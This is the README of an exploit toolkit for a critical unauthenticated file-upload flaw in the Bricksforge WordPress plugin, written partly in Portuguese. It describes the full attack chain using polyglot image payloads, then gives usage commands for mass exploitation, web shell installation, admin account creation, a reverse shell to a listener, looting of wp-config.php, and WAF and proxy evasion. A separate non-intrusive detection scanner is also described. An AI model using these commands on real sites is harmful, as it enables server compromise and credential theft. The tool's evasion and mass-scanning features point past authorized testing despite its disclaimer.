
Kit de ferramentas em Python para CVE-2026-85097: explora o upload de arquivos não autenticado do Bricksforge no WordPress para RCE por meio de payloads poliglotas, além de um scanner de detecção de versão não intrusivo.

CVSS 10.0
Exploit Toolkit and Safe Detection Scanner
For authorized security testing only.
CVE-2026-85097 é uma vulnerabilidade crítica de upload arbitrário de arquivos sem autenticação no plugin Bricksforge para WordPress (versões 3.1.8.9 e anteriores). Ela permite que atacantes remotos contornem a validação de MIME e enviem arquivos PHP controlados pelo atacante para o diretório de uploads, resultando em execução remota de código como o usuário do servidor web.
Obtenção de Nonce: A ação AJAX bricksforge_regenerate_nonce é registrada com wp_ajax_nopriv_, permitindo que atacantes não autenticados obtenham um nonce REST válido.
Upload Polyglot: O endpoint REST form_file_upload valida o tipo MIME do arquivo enviado. Um arquivo polyglot (cabeçalho PNG/GIF válido seguido de código PHP) passa por essa verificação.
Confiança em Metadados: Durante o envio do formulário, o plugin confia nos metadados fornecidos pelo cliente no parâmetro temporaryFileUploads. O campo file aponta para o polyglot validado, enquanto o campo url contém o nome de arquivo escolhido pelo atacante (incluindo a extensão .php).
Execução de PHP: O sink copy() do plugin usa o valor url fornecido pelo atacante literalmente como o nome do arquivo de destino. O arquivo polyglot é renomeado para .php dentro de wp-content/uploads/YYYY/MM/ e executado quando acessado.
| Atributo | Valor |
|---|---|
| [>] Descoberto | Outubro de 2026 (Patchstack) |
| [>] Pontuação CVSS | 10.0 (CRÍTICA) |
| [>] CWE | CWE-434 (Upload Irrestrito de Arquivo com Tipo Perigoso) |
| [>] Plugin Afetado | Bricksforge (módulo Pro Forms) |
| [>] Versões Afetadas | 3.1.8.9 e anteriores |
| [>] Versão Corrigida | 3.1.8.10 |
| [>] Autenticação | Não necessária (Pre-Auth) |
| [>] Exploração Ativa | Confirmada em campo (outubro de 2026) |
O exploit toolkit encadeia a obtenção de nonce, o upload polyglot, a manipulação de metadados e a execução de PHP em um único fluxo de trabalho automatizado, com recursos avançados para varredura em massa, OPSEC e pós-exploração.
| Recurso | Descrição |
|---|---|
| [+] Cadeia de Ataque Completa | Obtenção de nonce, upload de polyglot, envio de formulário, verificação de shell |
| [+] Payloads Polyglot | Variantes de chunk tEXt de PNG e extensão de comentário de GIF |
| [+] Varredura em Massa | Varredura concorrente com pool de threads |
| [+] Pós-Exploração | Instalação de web shell, criação de usuário admin, reverse shell, coleta de arquivos |
| [+] Execução de Comandos | Executa comandos arbitrários em shells confirmados |
| [+] Detecção Segura | Scanner não intrusivo separado (safechecker.py) |
| [+] Bypass de WAF | Falsificação de cabeçalhos, rotação de User-Agent, codificação de extensão |
| [+] Suporte a Proxy | SOCKS5, SOCKS4, proxies HTTP com estratégias de rotação |
| [+] Múltiplos Formatos de Saída | JSON, CSV, HTML, JSONL, SQLite |
| [+] Thread-Safe | Utiliza mecanismos de bloqueio para operações concorrentes |
| [+] Limitação de Taxa | Limitador de taxa global com jitter e atraso |
| [+] Multiplataforma | Suporta Linux, macOS, BSD, WSL |
| Estágio | Descrição |
|---|---|
nonce | Obtém um nonce REST válido por meio da ação AJAX não autenticada |
upload | Envia um PNG/GIF polyglot que passa na validação de MIME |
submit | Envia o formulário com metadados apontando para o polyglot e uma URL .php |
verify | Acessa o shell enviado e confirma a execução de comandos |
exploit | Instala web shell, cria admin, aciona reverse shell, coleta arquivos |
O verificador seguro (safechecker.py) realiza detecção não intrusiva de vulnerabilidades sem enviar payloads, submeter formulários ou modificar o alvo.
| Recurso | Descrição |
|---|---|
| [+] Detecção de WordPress | Identifica instâncias WordPress por meio de múltiplos padrões |
| [+] Detecção de Plugin | Confirma a presença do Bricksforge via HTML e arquivos estáticos |
| [+] Detecção de Versão | Detecta versões específicas do plugin |
| [+] Verificação de Rota REST | Enumera endpoints REST do Bricksforge expostos |
| [+] Sondagem de Endpoint Nonce | Verificação opcional do endpoint nonce (--probe-nonce) |
| [+] Verificação de Log de Debug | Inspeciona wp-content/debug.log em busca de rastros do plugin |
| [+] Não Intrusivo | Apenas identifica versões vulneráveis e endpoints expostos |
| [+] Saída JSON/CSV/SQL/JSONL | Exporta resultados para relatórios |
| [+] Varredura em Massa | Varre múltiplos alvos com suporte a threading |
pip (para a biblioteca requests)pip install requests urllib3
git clone https://github.com/tc4dy/CVE-2026-85097-Toolkit.git
cd CVE-2026-85097-Toolkit
python3 exploit.py
#or
python3 safechecker.py
exploit.py)# Single target exploit
python3 exploit.py -u https://target.com --exploit
# Exploit with custom command
python3 exploit.py -u https://target.com --exploit --cmd "id; uname -a"
# Mass scanning from file with 20 threads
python3 exploit.py -f targets.txt --exploit -t 20 -o results.json
# Install web shell after successful exploit
python3 exploit.py -u https://target.com --exploit --webshell
# Create admin user via RCE
python3 exploit.py -u https://target.com --exploit --create-admin "sysadmin:Str0ng!Pass"
# Trigger reverse shell
python3 exploit.py -u https://target.com --exploit --reverse-shell "10.0.0.5:4444"
# Loot wp-config.php and other files
python3 exploit.py -u https://target.com --exploit --loot
# Proxy with rotation
python3 exploit.py -f targets.txt --proxy-list proxies.txt --proxy-rotate round-robin
# Jitter and rate limiting
python3 exploit.py -f targets.txt --jitter --jitter-range 0.5,3.0 --rate-limit 5
# Custom User-Agent and insecure TLS
python3 exploit.py -u https://target.com --user-agent "CustomBot/1.0" --insecure
# Output to SQLite
python3 exploit.py -f targets.txt --output results.json --db scan.db
# Quiet mode
python3 exploit.py -f targets.txt --exploit -q
safechecker.py)